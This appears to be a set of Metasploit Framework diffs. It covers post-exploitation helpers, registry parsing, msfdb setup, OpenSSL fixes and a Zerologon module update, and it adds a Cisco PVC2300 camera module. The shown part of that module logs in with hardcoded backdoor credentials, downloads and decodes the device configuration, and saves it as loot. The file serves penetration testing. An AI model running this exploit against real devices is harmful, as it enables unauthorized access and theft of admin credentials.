status, cmd, rows = data.slice!(0, 8).unpack('vvV')
|
||||
info[:done] = { :status => status, :cmd => cmd, :rows => rows }
|
||||
info
|
||||
end
|
||||
|
||||
#
|
||||
# Parse an "error" TDS token
|
||||
#
|
||||
def mssql_parse_error(data, info)
|
||||
len = data.slice!(0, 2).unpack('v')[0]
|
||||
buff = data.slice!(0, len)
|
||||
|
||||
errno, state, sev, elen = buff.slice!(0, 8).unpack('VCCv')
|
||||
emsg = buff.slice!(0, elen * 2)
|
||||
emsg.gsub!("\x00", '')
|
||||
|
||||
info[:errors] << "SQL Server Error ##{errno} (State:#{state} Severity:#{sev}): #{emsg}"
|
||||
info
|
||||
end
|
||||
|
||||
#
|
||||
# Parse an "environment change" TDS token
|
||||
#
|
||||
def mssql_parse_env(data, info)
|
||||
len = data.slice!(0, 2).unpack('v')[0]
|
||||
buff = data.slice!(0, len)
|
||||
type = buff.slice!(0, 1).unpack('C')[0]
|
||||
|
||||
nval = ''
|
||||
nlen = buff.slice!(0, 1).unpack('C')[0] || 0
|
||||
nval = buff.slice!(0, nlen * 2).gsub("\x00", '') if nlen > 0
|
||||
|
||||
oval = ''
|
||||
olen = buff.slice!(0, 1).unpack('C')[0] || 0
|
||||
oval = buff.slice!(0, olen * 2).gsub("\x00", '') if olen > 0
|
||||
|
||||
info[:envs] ||= []
|
||||
info[:envs] << { :type => type, :old => oval, :new => nval }
|
||||
info
|
||||
end
|
||||
|
||||
#
|
||||
# Parse an "information" TDS token
|
||||
#
|
||||
def mssql_parse_info(data, info)
|
||||
len = data.slice!(0, 2).unpack('v')[0]
|
||||
buff = data.slice!(0, len)
|
||||
|
||||
errno, state, sev, elen = buff.slice!(0, 8).unpack('VCCv')
|
||||
emsg = buff.slice!(0, elen * 2)
|
||||
emsg.gsub!("\x00", '')
|
||||
|
||||
info[:infos] ||= []
|
||||
info[:infos] << "SQL Server Info ##{errno} (State:#{state} Severity:#{sev}): #{emsg}"
|
||||
info
|
||||
end
|
||||
|
||||
#
|
||||
# Parse a "login ack" TDS token
|
||||
#
|
||||
def mssql_parse_login_ack(data, info)
|
||||
len = data.slice!(0, 2).unpack('v')[0]
|
||||
_buff = data.slice!(0, len)
|
||||
info[:login_ack] = true
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -145,7 +145,7 @@ module Msf
|
||||
def default_version_string
|
||||
require 'rex/proto/ssh/connection'
|
||||
Rex::Proto::Ssh::Connection.default_options['local_version']
|
||||
rescue OpenSSL::Cipher::CipherError => e
|
||||
rescue OpenSSL::OpenSSLError => e
|
||||
print_error("ReverseSSH handler did not load with OpenSSL version #{OpenSSL::VERSION}")
|
||||
elog(e)
|
||||
'SSH-2.0-OpenSSH_5.3p1'
|
||||
|
||||
@@ -183,6 +183,13 @@ class Msf::Modules::Loader::Base
|
||||
causal_message: 'invalid module filename (must be lowercase alphanumeric snake case)'
|
||||
))
|
||||
return false
|
||||
rescue => e
|
||||
load_error(module_path, Msf::Modules::Error.new(
|
||||
module_path: module_path,
|
||||
module_reference_name: module_reference_name,
|
||||
causal_message: "unknown error #{e.message}"
|
||||
))
|
||||
return false
|
||||
end
|
||||
|
||||
|
||||
|
||||
@@ -251,7 +251,7 @@ module Msf::Post::File
|
||||
end
|
||||
raise "`writable?' method does not support Windows systems" if session.platform == 'windows'
|
||||
|
||||
cmd_exec("test -w '#{path}' && echo true").to_s.include? 'true'
|
||||
cmd_exec("(test -w '#{path}' || test -O '#{path}') && echo true").to_s.include? 'true'
|
||||
end
|
||||
|
||||
#
|
||||
|
||||
@@ -210,14 +210,6 @@ module System
|
||||
cmd_exec("echo $$").to_s
|
||||
end
|
||||
|
||||
#
|
||||
# Gets the pid of the current session
|
||||
# @return [String]
|
||||
#
|
||||
def get_session_pid
|
||||
cmd_exec("echo $PPID").to_s
|
||||
end
|
||||
|
||||
#
|
||||
# Checks if the system has gcc installed
|
||||
# @return [Boolean]
|
||||
|
||||
@@ -10,6 +10,14 @@ module Msf::Post::Unix
|
||||
(cmd_exec('id -u').to_s.gsub(/[^\d]/, '') == '0')
|
||||
end
|
||||
|
||||
#
|
||||
# Gets the pid of the current session
|
||||
# @return [String]
|
||||
#
|
||||
def get_session_pid
|
||||
cmd_exec("echo $PPID").to_s
|
||||
end
|
||||
|
||||
#
|
||||
# Returns an array of hashes each representing a user
|
||||
# Keys are name, uid, gid, info, dir and shell
|
||||
@@ -99,7 +107,7 @@ module Msf::Post::Unix
|
||||
#
|
||||
def whoami
|
||||
shellpid = get_session_pid()
|
||||
status = read_file("/proc/#{shellpid}/status")
|
||||
status = read_file("/proc/#{shellpid}/status")
|
||||
status.each_line do |line|
|
||||
split = line.split(":")
|
||||
if split[0] == "Uid"
|
||||
|
||||
@@ -50,15 +50,12 @@ module Msf::Post::Windows::Priv
|
||||
def is_admin?
|
||||
if session_has_ext
|
||||
# Assume true if the OS doesn't expose this (Windows 2000)
|
||||
session.railgun.shell32.IsUserAnAdmin()["return"] rescue true
|
||||
else
|
||||
local_service_key = registry_enumkeys('HKU\S-1-5-19')
|
||||
if local_service_key
|
||||
return true
|
||||
else
|
||||
return false
|
||||
end
|
||||
return session.railgun.shell32.IsUserAnAdmin()['return'] rescue true
|
||||
end
|
||||
|
||||
local_service_key = registry_enumkeys('HKU\S-1-5-19')
|
||||
|
||||
!local_service_key.blank?
|
||||
end
|
||||
|
||||
# Steals the current user's token.
|
||||
@@ -125,14 +122,11 @@ module Msf::Post::Windows::Priv
|
||||
def is_system?
|
||||
if session_has_ext
|
||||
return session.sys.config.is_system?
|
||||
else
|
||||
results = registry_enumkeys('HKLM\SAM\SAM')
|
||||
if results
|
||||
return true
|
||||
else
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
sam = registry_enumkeys('HKLM\SAM\SAM')
|
||||
|
||||
!sam.blank?
|
||||
end
|
||||
|
||||
#
|
||||
|
||||
@@ -311,14 +311,17 @@ protected
|
||||
subkeys = []
|
||||
reg_data_types = 'REG_SZ|REG_MULTI_SZ|REG_DWORD_BIG_ENDIAN|REG_DWORD|REG_BINARY|'
|
||||
reg_data_types << 'REG_DWORD_LITTLE_ENDIAN|REG_NONE|REG_EXPAND_SZ|REG_LINK|REG_FULL_RESOURCE_DESCRIPTOR'
|
||||
|
||||
bslashes = key.count('\\')
|
||||
bslashes = bslashes - 1 if key.ends_with?('\\')
|
||||
|
||||
results = shell_registry_cmd("query \"#{key}\"", view)
|
||||
unless results.include?('Error')
|
||||
unless results.to_s.upcase.starts_with?('ERROR:')
|
||||
results.each_line do |line|
|
||||
# now let's keep the ones that have a count = bslashes+1
|
||||
# feels like there's a smarter way to do this but...
|
||||
if (line.count('\\') == bslashes+1 && !line.ends_with?('\\'))
|
||||
#then it's a first level subkey
|
||||
# then it's a first level subkey
|
||||
subkeys << line.split('\\').last.chomp # take & chomp the last item only
|
||||
end
|
||||
end
|
||||
@@ -336,7 +339,7 @@ protected
|
||||
reg_data_types << 'REG_DWORD_LITTLE_ENDIAN|REG_NONE|REG_EXPAND_SZ|REG_LINK|REG_FULL_RESOURCE_DESCRIPTOR'
|
||||
# REG QUERY KeyName [/v ValueName | /ve] [/s]
|
||||
results = shell_registry_cmd("query \"#{key}\"", view)
|
||||
unless results.include?('Error')
|
||||
unless results.to_s.upcase.starts_with?('ERROR:')
|
||||
if values = results.scan(/^ +.*[#{reg_data_types}].*/)
|
||||
# yanked the lines with legit REG value types like REG_SZ
|
||||
# now let's parse out the names (first field basically)
|
||||
@@ -365,19 +368,22 @@ protected
|
||||
#
|
||||
def shell_registry_getvalinfo(key, valname, view)
|
||||
key = normalize_key(key)
|
||||
value = {}
|
||||
value["Data"] = nil # defaults
|
||||
value["Type"] = nil
|
||||
value = {
|
||||
'Data' => nil,
|
||||
'Type' => nil
|
||||
}
|
||||
|
||||
# REG QUERY KeyName [/v ValueName | /ve] [/s]
|
||||
results = shell_registry_cmd("query \"#{key}\" /v \"#{valname}\"", view)
|
||||
|
||||
# pull out the interesting line (the one with the value name in it)
|
||||
if match_arr = /^ +#{valname}.*/i.match(results)
|
||||
# pull out the interesting line (the one with the value name in it)
|
||||
# and split it with ' ' yielding [valname,REGvaltype,REGdata]
|
||||
split_arr = match_arr[0].split(' ')
|
||||
value["Type"] = split_arr[1]
|
||||
value["Data"] = split_arr[2]
|
||||
# need to test to ensure all results can be parsed this way
|
||||
# split with ' ' yielding [valname,REGvaltype,REGdata] and extract reg type
|
||||
value['Type'] = match_arr[0].split[1]
|
||||
# treat the remainder of the line after the reg type as the reg value
|
||||
value['Data'] = match_arr[0].strip.scan(/#{value['Type']}\s+(.+)/).flatten.first
|
||||
end
|
||||
|
||||
value
|
||||
end
|
||||
|
||||
@@ -661,8 +667,8 @@ protected
|
||||
else
|
||||
raise ArgumentError, "Cannot normalize unknown key: #{key}"
|
||||
end
|
||||
print_status("Normalized #{key} to #{keys.join("\\")}") if $blab
|
||||
return keys.join("\\")
|
||||
# print_status("Normalized #{key} to #{keys.join("\\")}")
|
||||
return keys.compact.join("\\")
|
||||
end
|
||||
|
||||
#
|
||||
|
||||
@@ -4,6 +4,7 @@ class Post
|
||||
module Windows
|
||||
|
||||
module UserProfiles
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Windows::Registry
|
||||
include Msf::Post::Windows::Accounts
|
||||
|
||||
@@ -92,7 +93,7 @@ module UserProfiles
|
||||
read_profile_list().each do |hive|
|
||||
hive['OURS']=false
|
||||
if hive['LOADED']== false
|
||||
if session.fs.file.exist?(hive['DAT'])
|
||||
if file_exist?(hive['DAT'])
|
||||
hive['OURS'] = registry_loadkey(hive['HKU'], hive['DAT'])
|
||||
print_error("Error loading USER #{hive['SID']}: Hive could not be loaded, are you Admin?") unless hive['OURS']
|
||||
else
|
||||
@@ -108,15 +109,17 @@ module UserProfiles
|
||||
# Read HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList to
|
||||
# get a list of user profiles on the machine.
|
||||
#
|
||||
def read_profile_list
|
||||
def read_profile_list(user_accounts_only: true)
|
||||
hives=[]
|
||||
registry_enumkeys('HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList').each do |profkey|
|
||||
next unless profkey.include? "S-1-5-21"
|
||||
if user_accounts_only
|
||||
next unless profkey.starts_with?('S-1-5-21')
|
||||
end
|
||||
hive={}
|
||||
hive['SID']=profkey
|
||||
hive['HKU']= "HKU\\#{profkey}"
|
||||
hive['PROF']= registry_getvaldata("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\#{profkey}", 'ProfileImagePath')
|
||||
hive['PROF']= session.fs.file.expand_path(hive['PROF']) if hive['PROF']
|
||||
hive['PROF'] = expand_path(hive['PROF']) if hive['PROF']
|
||||
hive['DAT']= "#{hive['PROF']}\\NTUSER.DAT"
|
||||
hive['LOADED'] = loaded_hives.include?(profkey)
|
||||
hives << hive
|
||||
@@ -130,7 +133,7 @@ module UserProfiles
|
||||
def loaded_hives
|
||||
hives=[]
|
||||
registry_enumkeys('HKU').each do |k|
|
||||
next unless k.include? "S-1-5-21"
|
||||
next unless k.starts_with?('S-1-')
|
||||
next if k.include? "_Classes"
|
||||
hives<< k
|
||||
end
|
||||
|
||||
@@ -1827,9 +1827,19 @@ class Core
|
||||
append = true
|
||||
end
|
||||
|
||||
valid_options = []
|
||||
# Determine which data store we're operating on
|
||||
if (active_module and global == false)
|
||||
datastore = active_module.datastore
|
||||
|
||||
tab_complete_option_names(active_module, '', []).each do |opt_name|
|
||||
valid_options << opt_name
|
||||
option = active_module.options[opt_name]
|
||||
next unless option
|
||||
|
||||
# aliases that are defined for backwards compatibility are not tab completed but are still valid option names
|
||||
valid_options += active_module.options[opt_name].aliases
|
||||
end
|
||||
else
|
||||
global = true
|
||||
datastore = self.framework.datastore
|
||||
@@ -1852,11 +1862,14 @@ class Core
|
||||
datastore) + "\n")
|
||||
return true
|
||||
elsif (args.length == 1)
|
||||
if (not datastore[args[0]].nil?)
|
||||
if global || valid_options.any? { |vo| vo.casecmp?(args[0]) }
|
||||
print_line("#{args[0]} => #{datastore[args[0]]}")
|
||||
return true
|
||||
else
|
||||
print_error("Unknown variable")
|
||||
message = "Unknown datastore option: #{args[0]}."
|
||||
suggestion = DidYouMean::SpellChecker.new(dictionary: valid_options).correct(args[0]).first
|
||||
message << " Did you mean #{suggestion}?" if suggestion
|
||||
print_error(message)
|
||||
cmd_set_help
|
||||
return false
|
||||
end
|
||||
@@ -1881,7 +1894,14 @@ class Core
|
||||
# [name, class] from payload_show_results
|
||||
value = mod.first
|
||||
end
|
||||
end
|
||||
|
||||
unless global || valid_options.any? { |vo| vo.casecmp?(name) }
|
||||
message = "Unknown datastore option: #{name}."
|
||||
suggestion = DidYouMean::SpellChecker.new(dictionary: valid_options).correct(name).first
|
||||
message << " Did you mean #{suggestion}?" if suggestion
|
||||
print_error(message)
|
||||
return false
|
||||
end
|
||||
|
||||
# If the driver indicates that the value is not valid, bust out.
|
||||
|
||||
@@ -422,7 +422,8 @@ class Db
|
||||
[ '-i', '--info' ] => [ true, 'Change the info of a host', '<info>' ],
|
||||
[ '-n', '--name' ] => [ true, 'Change the name of a host', '<name>' ],
|
||||
[ '-m', '--comment' ] => [ true, 'Change the comment of a host', '<comment>' ],
|
||||
[ '-t', '--tag' ] => [ false, 'Add or specify a tag to a range of hosts' ],
|
||||
[ '-t', '--tag' ] => [ true, 'Add or specify a tag to a range of hosts', '<tag>' ],
|
||||
[ '-T', '--delete-tag' ] => [ true, 'Remove a tag from a range of hosts', '<tag>' ],
|
||||
[ '-d', '--delete' ] => [ true, 'Delete the hosts instead of searching', '<hosts>' ],
|
||||
[ '-o', '--output' ] => [ true, 'Send output to a file in csv format', '<filename>' ],
|
||||
[ '-O', '--order' ] => [ true, 'Order rows by specified column number', '<column id>' ],
|
||||
@@ -522,6 +523,9 @@ class Db
|
||||
when '-t', '--tag'
|
||||
mode << :tag
|
||||
tag_name = val
|
||||
when '-T', '--delete-tag'
|
||||
mode << :delete_tag
|
||||
tag_name = val
|
||||
when '-c', '-C'
|
||||
list = val
|
||||
if(!list)
|
||||
@@ -607,8 +611,16 @@ class Db
|
||||
end
|
||||
end
|
||||
return
|
||||
when mode.include?(:tag) && mode.include?(:delete)
|
||||
delete_host_tag(host_ranges, tag_name)
|
||||
when mode == [:delete_tag]
|
||||
begin
|
||||
delete_host_tag(host_ranges, tag_name)
|
||||
rescue => e
|
||||
if e.message.include?('Validation failed')
|
||||
print_error(e.message)
|
||||
else
|
||||
raise e
|
||||
end
|
||||
end
|
||||
return
|
||||
end
|
||||
|
||||
@@ -627,9 +639,8 @@ class Db
|
||||
when "workspace"; host.workspace.name
|
||||
when "tags"
|
||||
found_tags = find_host_tags(framework.db.workspace, host.id)
|
||||
tag_names = []
|
||||
found_tags.each { |t| tag_names << t.name }
|
||||
found_tags * ", "
|
||||
tag_names = found_tags.map(&:name).join(', ')
|
||||
tag_names
|
||||
end
|
||||
# Otherwise, it's just an attribute
|
||||
else
|
||||
|
||||
@@ -258,6 +258,7 @@ module Msf
|
||||
str = <<~VERSIONS
|
||||
Framework: #{framework.version}
|
||||
Ruby: #{RUBY_DESCRIPTION}
|
||||
OpenSSL: #{OpenSSL::OPENSSL_VERSION}
|
||||
Install Root: #{Msf::Config.install_root}
|
||||
Session Type: #{db_connection_info(framework)}
|
||||
Install Method: #{installation_method}
|
||||
|
||||
@@ -109,6 +109,7 @@ module WindowsCryptoHelpers
|
||||
(60...policy_secret.length).step(16) do |i|
|
||||
aes.reset
|
||||
aes.padding = 0
|
||||
aes.iv = "\x00" * 16
|
||||
decrypted_data << aes.update(policy_secret[i,16])
|
||||
end
|
||||
|
||||
|
||||
@@ -60,12 +60,12 @@ module MsfdbHelpers
|
||||
status.exitstatus
|
||||
end
|
||||
|
||||
def run_psql(cmd, db_name: 'postgres')
|
||||
def run_psql(cmd, socket_directory= "#{Dir.tmpdir}", db_name: 'postgres')
|
||||
if @options[:debug]
|
||||
puts "psql -p #{@options[:db_port]} -c \"#{cmd};\" #{db_name}"
|
||||
puts "psql -h #{socket_directory} -p #{@options[:db_port]} -c \"#{cmd};\" #{db_name}"
|
||||
end
|
||||
|
||||
run_cmd("psql -p #{@options[:db_port]} -c \"#{cmd};\" #{db_name}")
|
||||
run_cmd("psql -h #{socket_directory} -p #{@options[:db_port]} -c \"#{cmd};\" #{db_name}")
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@@ -8,6 +8,7 @@ module MsfdbHelpers
|
||||
@options = options
|
||||
@localconf = localconf
|
||||
@db_conf = db_conf
|
||||
@socket_directory = db_path
|
||||
super(options)
|
||||
end
|
||||
|
||||
@@ -20,6 +21,17 @@ module MsfdbHelpers
|
||||
f.puts "port = #{@options[:db_port]}"
|
||||
end
|
||||
|
||||
# Try creating a test file at {Dir.tmpdir},
|
||||
# Else fallback to creation at @{db}
|
||||
# Else fail with error.
|
||||
if test_executable_file("#{Dir.tmpdir}")
|
||||
@socket_directory = Dir.tmpdir
|
||||
elsif test_executable_file("#{@db}")
|
||||
@socket_directory = @db
|
||||
else
|
||||
print_error("Attempt to create DB socket file at Temporary Directory and `~/.msf4/db` failed. Possibly because they are mounted with NOEXEC flags. Database initialization failed.")
|
||||
end
|
||||
|
||||
start
|
||||
|
||||
create_db_users(msf_pass, msftest_pass)
|
||||
@@ -28,6 +40,37 @@ module MsfdbHelpers
|
||||
restart
|
||||
end
|
||||
|
||||
# Creates and attempts to execute a testfile in the specified directory,
|
||||
# to determine if it is mounted with NOEXEC flags.
|
||||
def test_executable_file(path)
|
||||
begin
|
||||
file_name = File.join(path, 'msfdb_testfile')
|
||||
File.open(file_name, 'w') do |f|
|
||||
f.puts "#!/bin/bash\necho exec"
|
||||
end
|
||||
File.chmod(0744, file_name)
|
||||
|
||||
if run_cmd(file_name)
|
||||
File.open("#{@db}/postgresql.conf", 'a') do |f|
|
||||
f.puts "unix_socket_directories = \'#{path}\'"
|
||||
end
|
||||
puts "Creating db socket file at #{path}"
|
||||
end
|
||||
return true
|
||||
|
||||
rescue => e
|
||||
return false
|
||||
|
||||
ensure
|
||||
begin
|
||||
File.delete(file_name)
|
||||
rescue
|
||||
print_error("Unable to delete test file #{file_name}")
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def delete
|
||||
if exists?
|
||||
stop
|
||||
@@ -95,12 +138,12 @@ module MsfdbHelpers
|
||||
|
||||
def create_db_users(msf_pass, msftest_pass)
|
||||
puts 'Creating database users'
|
||||
run_psql("create user #{@options[:msf_db_user].shellescape} with password '#{msf_pass}'")
|
||||
run_psql("create user #{@options[:msftest_db_user].shellescape} with password '#{msftest_pass}'")
|
||||
run_psql("alter role #{@options[:msf_db_user].shellescape} createdb")
|
||||
run_psql("alter role #{@options[:msftest_db_user].shellescape} createdb")
|
||||
run_psql("alter role #{@options[:msf_db_user].shellescape} with password '#{msf_pass}'")
|
||||
run_psql("alter role #{@options[:msftest_db_user].shellescape} with password '#{msftest_pass}'")
|
||||
run_psql("create user #{@options[:msf_db_user].shellescape} with password '#{msf_pass}'", @socket_directory)
|
||||
run_psql("create user #{@options[:msftest_db_user].shellescape} with password '#{msftest_pass}'", @socket_directory)
|
||||
run_psql("alter role #{@options[:msf_db_user].shellescape} createdb", @socket_directory)
|
||||
run_psql("alter role #{@options[:msftest_db_user].shellescape} createdb", @socket_directory)
|
||||
run_psql("alter role #{@options[:msf_db_user].shellescape} with password '#{msf_pass}'", @socket_directory)
|
||||
run_psql("alter role #{@options[:msftest_db_user].shellescape} with password '#{msftest_pass}'", @socket_directory)
|
||||
|
||||
conn = PG.connect(host: @options[:db_host], dbname: 'postgres', port: @options[:db_port], user: @options[:msf_db_user], password: msf_pass)
|
||||
conn.exec("CREATE DATABASE #{@options[:msf_db_name]}")
|
||||
|
||||
@@ -1,6 +1,12 @@
|
||||
# Use bundler to load dependencies
|
||||
#
|
||||
|
||||
# Enable legacy providers such as blowfish-cbc, cast128-cbc, arcfour, etc
|
||||
$stderr.puts "Overriding user environment variable 'OPENSSL_CONF' to enable legacy functions." unless ENV['OPENSSL_CONF'].nil?
|
||||
ENV['OPENSSL_CONF'] = File.expand_path(
|
||||
File.join(File.dirname(__FILE__), '..', 'config', 'openssl.conf')
|
||||
)
|
||||
|
||||
# Override the normal rails default, so that msfconsole will come up in production mode instead of development mode
|
||||
# unless the `--environment` flag is passed.
|
||||
ENV['RAILS_ENV'] ||= 'production'
|
||||
|
||||
@@ -83,14 +83,30 @@ class Cipher
|
||||
|
||||
user_struct = username + ("\0" * (64 - username.length)) + password + ("\0" * (64 - password.length))
|
||||
|
||||
dh_peer = OpenSSL::PKey::DH.new(key_length * 8, generator)
|
||||
dh_peer.set_key(peer_public_key, nil)
|
||||
# OpenSSL 3.0+
|
||||
if OpenSSL::PKey.respond_to?(:generate_key)
|
||||
dh = OpenSSL::PKey::DH.new(
|
||||
OpenSSL::ASN1::Sequence(
|
||||
[
|
||||
OpenSSL::ASN1::Integer(prime_modulus),
|
||||
OpenSSL::ASN1::Integer(generator),
|
||||
]
|
||||
).to_der
|
||||
)
|
||||
dh = OpenSSL::PKey.generate_key(dh)
|
||||
|
||||
dh = OpenSSL::PKey::DH.new(dh_peer)
|
||||
dh.set_pqg(prime_modulus, nil, generator)
|
||||
dh.generate_key!
|
||||
shared_key = dh.compute_key(peer_public_key)
|
||||
else
|
||||
dh_peer = OpenSSL::PKey::DH.new(key_length * 8, generator)
|
||||
dh_peer.set_key(peer_public_key, nil)
|
||||
dh_peer_pub_key = dh_peer.pub_key
|
||||
|
||||
shared_key = dh.compute_key(dh_peer.pub_key)
|
||||
dh = OpenSSL::PKey::DH.new(dh_peer)
|
||||
dh.set_pqg(prime_modulus, nil, generator)
|
||||
dh.generate_key!
|
||||
|
||||
shared_key = dh.compute_key(dh_peer_pub_key)
|
||||
end
|
||||
|
||||
md5 = OpenSSL::Digest.new('MD5')
|
||||
key_digest = md5.digest(shared_key)
|
||||
|
||||
@@ -18,6 +18,10 @@ class Input::Buffer < Rex::Ui::Text::Input
|
||||
def write(buf, opts={})
|
||||
syswrite(buf)
|
||||
end
|
||||
|
||||
def monitor_rsock(*args, **kwargs)
|
||||
dlog('monitor_rsock: Skipping - functionality not required')
|
||||
end
|
||||
end
|
||||
|
||||
def initialize
|
||||
|
||||
@@ -3,6 +3,8 @@
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'windows_error'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::DCERPC
|
||||
@@ -33,7 +35,10 @@ class MetasploitModule < Msf::Auxiliary
|
||||
'Dirk-jan Mollema' # password restoration technique
|
||||
],
|
||||
'Notes' => {
|
||||
'AKA' => [ 'Zerologon' ]
|
||||
'AKA' => ['Zerologon'],
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [],
|
||||
'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Actions' => [
|
||||
@@ -86,6 +91,12 @@ class MetasploitModule < Msf::Auxiliary
|
||||
response = netr_server_authenticate3
|
||||
|
||||
break if (status = response.error_status) == 0
|
||||
|
||||
windows_error = ::WindowsError::NTStatus.find_by_retval(response.error_status.to_i).first
|
||||
# Try again if the Failure is STATUS_ACCESS_DENIED, otherwise something has gone wrong
|
||||
next if windows_error == ::WindowsError::NTStatus::STATUS_ACCESS_DENIED
|
||||
|
||||
fail_with(Failure::UnexpectedReply, windows_error)
|
||||
end
|
||||
|
||||
return CheckCode::Detected unless status == 0
|
||||
|
||||
@@ -0,0 +1,234 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
{
|
||||
'Name' => 'Cisco PVC2300 POE Video Camera configuration download',
|
||||
'Description' => %q{
|
||||
This module exploits an information disclosure vulnerability in Cisco PVC2300 cameras in order
|
||||
to download the configuration file containing the admin credentials for the web interface.
|
||||
|
||||
The module first performs a basic check to see if the target is likely Cisco PVC2300. If so, the
|
||||
module attempts to obtain a sessionID via an HTTP GET request to the vulnerable /oamp/System.xml
|
||||
endpoint using hardcoded credentials.
|
||||
|
||||
If a session ID is obtained, the module uses it in another HTTP GET request to /oamp/System.xml
|
||||
with the aim of downloading the configuration file. The configuration file, if obtained, is then
|
||||
decoded and saved to the loot directory. Finally, the module attempts to extract the admin
|
||||
credentials to the web interface from the decoded configuration file.
|
||||
|
||||
No known solution was made available for this vulnerability and no CVE has been published. It is
|
||||
therefore likely that most (if not all) Cisco PVC2300 cameras are affected.
|
||||
|
||||
This module was successfully tested against several Cisco PVC2300 cameras.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'Craig Heffner', # vulnerability discovery and PoC
|
||||
'Erik Wynter', # @wyntererik - Metasploit
|
||||
],
|
||||
'References' => [
|
||||
[ 'URL', 'https://paper.bobylive.com/Meeting_Papers/BlackHat/USA-2013/US-13-Heffner-Exploiting-Network-Surveillance-Cameras-Like-A-Hollywood-Hacker-Slides.pdf' ], # blackhat presentation - unofficial source
|
||||
[ 'URL', 'https://media.blackhat.com/us-13/US-13-Heffner-Exploiting-Network-Surveillance-Cameras-Like-A-Hollywood-Hacker-Slides.pdf'], # blackhat presentation - official source (not working)
|
||||
[ 'URL', 'https://www.youtube.com/watch?v=B8DjTcANBx0'] # full blackhat presentation
|
||||
],
|
||||
'DisclosureDate' => '2013-07-12',
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [REPEATABLE_SESSION], # the attack can be repeated, but a timeout of several minutes may be necessary between exploit attempts
|
||||
'SideEffects' => [IOC_IN_LOGS]
|
||||
}
|
||||
}
|
||||
)
|
||||
)
|
||||
end
|
||||
|
||||
def custom_base64_alphabet
|
||||
'ACEGIKMOQSUWYBDFHJLNPRTVXZacegikmoqsuwybdfhjlnprtvxz0246813579=+'
|
||||
end
|
||||
|
||||
def default_base64_alphabet
|
||||
'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
|
||||
end
|
||||
|
||||
def request_session_id
|
||||
vprint_status('Attempting to obtain a session ID')
|
||||
# the creds used here are basically a backdoor
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'oamp', 'System.xml'),
|
||||
'vars_get' => {
|
||||
'action' => 'login',
|
||||
'user' => 'L1_admin',
|
||||
'password' => 'L1_51'
|
||||
}
|
||||
})
|
||||
|
||||
unless res
|
||||
fail_with(Failure::Unknown, 'Connection failed when trying to obtain a session ID')
|
||||
end
|
||||
|
||||
unless res.code == 200
|
||||
fail_with(Failure::NotVulnerable, "Received unexpected response code #{res.code} while trying to obtain a session ID.")
|
||||
end
|
||||
|
||||
if res.headers.include?('sessionID') && !res.headers['sessionID'].blank?
|
||||
session_id = res.headers['sessionID']
|
||||
print_status("The target may be vulnerable. Obtained sessionID #{session_id}")
|
||||
return session_id
|
||||
end
|
||||
|
||||
# try to check the status message in the response body
|
||||
# the status may indicate if the target is perhaps only temporarily unavailable, which was encountered when testing the module repeatedly
|
||||
status = res.body.scan(%r{<statusString>(.*?)</statusString>})&.flatten&.first&.strip
|
||||
if status.blank?
|
||||
fail_with(Failure::NotVulnerable, 'Failed to obtain a session ID.')
|
||||
end
|
||||
|
||||
if status == 'try it later'
|
||||
fail_with(Failure::Unknown, "Failed to obtain a session ID. The server responded with status: #{status}. The target may still be vulnerable.")
|
||||
else
|
||||
fail_with(Failure::NotVulnerable, "Failed to obtain a session ID. The server responded with status: #{status}")
|
||||
end
|
||||
end
|
||||
|
||||
def download_config_file(session_id)
|
||||
vprint_status('Attempting to download the configuration file')
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'oamp', 'System.xml'),
|
||||
'headers' => {
|
||||
'sessionID' => session_id
|
||||
},
|
||||
'vars_get' => {
|
||||
'action' => 'downloadConfigurationFile'
|
||||
}
|
||||
})
|
||||
|
||||
unless res
|
||||
fail_with(Failure::Unknown, 'Connection failed when trying to download the configuration file')
|
||||
end
|
||||
|
||||
unless res.code == 200 && !res.body.empty?
|
||||
fail_with(Failure::NotVulnerable, 'Failed to obtain the configuration file')
|
||||
end
|
||||
|
||||
# if the exploit doesn't work, the response body should be empty. So if we have anything, we can assume we're in business
|
||||
res.body
|
||||
end
|
||||
|
||||
def decode_config_file(config_file_encoded)
|
||||
# if we've made it all the way here, this shouldn't break, but better safe than sorry
|
||||
begin
|
||||
config_file_base64 = config_file_encoded.tr(custom_base64_alphabet, default_base64_alphabet)
|
||||
config_file_decoded = Base64.decode64(config_file_base64)
|
||||
rescue StandardError => e
|
||||
print_error('Encountered the following error when attempting to decode the configuration file:')
|
||||
print_error(e)
|
||||
fail_with(Failure::Unknown, 'Failed to decode the configuration file')
|
||||
end
|
||||
|
||||
# let's just save the full config at this point
|
||||
path = store_loot('ciscopvc.config', 'text/plain', rhost, config_file_decoded)
|
||||
print_good('Successfully downloaded the configuration file')
|
||||
print_status("Saving the full configuration file to #{path}")
|
||||
|
||||
# let's see if we can grab the device name from the config file
|
||||
